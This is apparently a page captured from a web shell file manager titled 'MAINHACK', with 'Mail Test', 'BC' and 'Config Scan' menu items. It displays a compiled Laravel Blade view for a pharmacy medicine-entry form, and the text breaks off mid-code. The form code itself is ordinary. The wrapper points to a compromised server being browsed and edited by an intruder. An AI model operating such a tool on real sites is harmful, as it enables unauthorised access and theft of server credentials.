[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 6566b9981ed63c3f00be7417e2d03f74.php
<div class="col-md-4 input-component mb-2"> <label for="" class="form-label fw-bold d-flex justify-content-between align-items-center"> <span><?php echo e(translate('common.Barcode')); ?> <span class="text-danger">*</span></span> </label> <div class="input-group"> <input type="text" class="form-control" id="barcode_input" placeholder="Enter Here" value="" name="qr_code"> <button class="btn btn-outline-secondary" type="button" id="barcodeGenerate"><i class="fa fa-barcode"></i></button> </div> </div> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'name','label' => 'Name','required' => true,'value' => ''.e(@old('name', @$medicine->name)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'name','label' => 'Name','required' => true,'value' => ''.e(@old('name', @$medicine->name)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'generic_name','label' => 'Generic Name','required' => true,'value' => ''.e(@old('generic_name', @$medicine->generic_name)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'generic_name','label' => 'Generic Name','required' => true,'value' => ''.e(@old('generic_name', @$medicine->generic_name)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.select','data' => ['name' => 'supplier_id','label' => 'supplier','required' => true,'addButtonUrl' => ''.e(route('supplier.create')).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.select'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'supplier_id','label' => 'supplier','required' => true,'addButtonUrl' => ''.e(route('supplier.create')).'','col' => 'col-md-4']); ?> <?php $__currentLoopData = $suppliers; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $supplier): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option <?php echo e(old('supplier_id', @$medicine->supplier_id) == $supplier->id ? 'selected':''); ?> value="<?php echo e($supplier->id); ?>"><?php echo e($supplier->name); ?> </option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $attributes = $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $component = $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.select','data' => ['name' => 'leaf_id','label' => 'Leaf or Box Size','addButtonUrl' => ''.e(route('leaf.create')).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.select'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'leaf_id','label' => 'Leaf or Box Size','addButtonUrl' => ''.e(route('leaf.create')).'','col' => 'col-md-4']); ?> <?php $__currentLoopData = $leafs; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $leaf): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($leaf->id); ?>" <?php echo e(old('leaf_id', @$medicine->leaf_id) == $leaf->id ? 'selected':''); ?>><?php echo e($leaf->name); ?> (<?php echo e($leaf->amount); ?>)</option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $attributes = $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $component = $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.select','data' => ['name' => 'vendor_id','label' => 'Vendor','addButtonUrl' => ''.e(route('vendor.create')).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.select'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'vendor_id','label' => 'Vendor','addButtonUrl' => ''.e(route('vendor.create')).'','col' => 'col-md-4']); ?> <?php $__currentLoopData = $vendors; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $vendor): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option <?php echo e(old('vendor_id', @$medicine->vendor_id) == $vendor->id ? 'selected':''); ?> value="<?php echo e($vendor->id); ?>"><?php echo e($vendor->name); ?> </option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $attributes = $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $component = $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'quantity','label' => 'Quantity','value' => ''.e(@old('quantity', @$medicine->quantity)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'quantity','label' => 'Quantity','value' => ''.e(@old('quantity', @$medicine->quantity)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'price','label' => 'price','value' => ''.e(@old('price', @$medicine->price)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'price','label' => 'price','value' => ''.e(@old('price', @$medicine->price)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'buy_price','label' => 'Buy Price','value' => ''.e(@old('buy_price', @$medicine->buy_price)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'buy_price','label' => 'Buy Price','value' => ''.e(@old('buy_price', @$medicine->buy_price)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'vat','label' => 'vat','value' => ''.e(@old('vat', @$medicine->vat)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'vat','label' => 'vat','value' => ''.e(@old('vat', @$medicine->vat)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'igta','label' => 'igta','value' => ''.e(@old('igta', @$medicine->igta)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'igta','label' => 'igta','value' => ''.e(@old('igta', @$medicine->igta)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'shelf','label' => 'shelf','value' => ''.e(@old('shelf', @$medicine->shelf)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'shelf','label' => 'shelf','value' => ''.e(@old('shelf', @$medicine->shelf)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'hns_code','label' => 'Hns Code','value' => ''.e(@old('hns_code', @$medicine->hns_code)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'hns_code','label' => 'Hns Code','value' => ''.e(@old('hns_code', @$medicine->hns_code)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.input','data' => ['name' => 'strength','label' => 'Strength','value' => ''.e(@old('strength', @$medicine->strength)).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.input'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'strength','label' => 'Strength','value' => ''.e(@old('strength', @$medicine->strength)).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $attributes = $__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__attributesOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b)): ?> <?php $component = $__componentOriginal5c2a97ab476b69c1189ee85d1a95204b; ?> <?php unset($__componentOriginal5c2a97ab476b69c1189ee85d1a95204b); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginalc991e6deb327f0254c95051bd36ee5bd = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginalc991e6deb327f0254c95051bd36ee5bd = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.file','data' => ['name' => 'image','label' => 'image','value' => ''.e(@old('image', @globalAsset(@$medicine->image))).'','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.file'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'image','label' => 'image','value' => ''.e(@old('image', @globalAsset(@$medicine->image))).'','col' => 'col-md-4']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginalc991e6deb327f0254c95051bd36ee5bd)): ?> <?php $attributes = $__attributesOriginalc991e6deb327f0254c95051bd36ee5bd; ?> <?php unset($__attributesOriginalc991e6deb327f0254c95051bd36ee5bd); ?> <?php endif; ?> <?php if (isset($__componentOriginalc991e6deb327f0254c95051bd36ee5bd)): ?> <?php $component = $__componentOriginalc991e6deb327f0254c95051bd36ee5bd; ?> <?php unset($__componentOriginalc991e6deb327f0254c95051bd36ee5bd); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.select','data' => ['name' => 'status','label' => 'Status','required' => true,'col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.select'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'status','label' => 'Status','required' => true,'col' => 'col-md-4']); ?> <option value="active" selected <?php echo e(old('status', @$medicine->status) == 'active' ? 'selected':''); ?>><?php echo e(translate('Active')); ?></option> <option value="inactive" <?php echo e(old('status', @$medicine->status) == 'inactive' ? 'selected':''); ?>><?php echo e(translate('Inactive')); ?></option> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $attributes = $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $component = $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.select','data' => ['name' => 'type','label' => 'Medicine For','col' => 'col-md-4']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.select'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'type','label' => 'Medicine For','col' => 'col-md-4']); ?> <option value="inventory" selected <?php echo e(old('type', @$medicine->type) == 'inventory' ? 'selected':''); ?>><?php echo e(translate('common.inventory')); ?></option> <option value="ecommerce" <?php echo e(old('type', @$medicine->type) == 'ecommerce' ? 'selected':''); ?>><?php echo e(translate('common.ecommerce')); ?></option> <option value="global" <?php echo e(old('type', @$medicine->type) == 'global' ? 'selected':''); ?>><?php echo e(translate('common.both')); ?></option> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $attributes = $__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__attributesOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <?php if (isset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36)): ?> <?php $component = $__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36; ?> <?php unset($__componentOriginal8cee41e4af1fe2df52d1d5acd06eed36); ?> <?php endif; ?> <div class="col-lg-12 mb-3"> <div class="d-flex gap-2"> <h4> <?php echo e(translate('common.Select Categories')); ?> </h4> <a href="<?php echo e(route('categories.create')); ?>"><?php echo e(translate('Add new')); ?></a> </div> <div class="row"> <?php $selectedCategories = json_decode(@$medicine->categories, true) ?? [] ?> <?php $__currentLoopData = $categories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $category): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <div class="col-lg-3"> <div class="form-check"> <input class="form-check-input" name="product_categories[]" type="checkbox" value="<?php echo e($category->id); ?>" <?php if(is_array($selectedCategories)): ?> <?php if(in_array($category->id, $selectedCategories)): ?> checked <?php endif; ?> <?php endif; ?> id="productCategory<?php echo e($category->id); ?>"> <label class="form-check-label" for="productCategory<?php echo e($category->id); ?>"> <?php echo e($category->title); ?> </label> </div> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> </div> <?php if (isset($component)) { 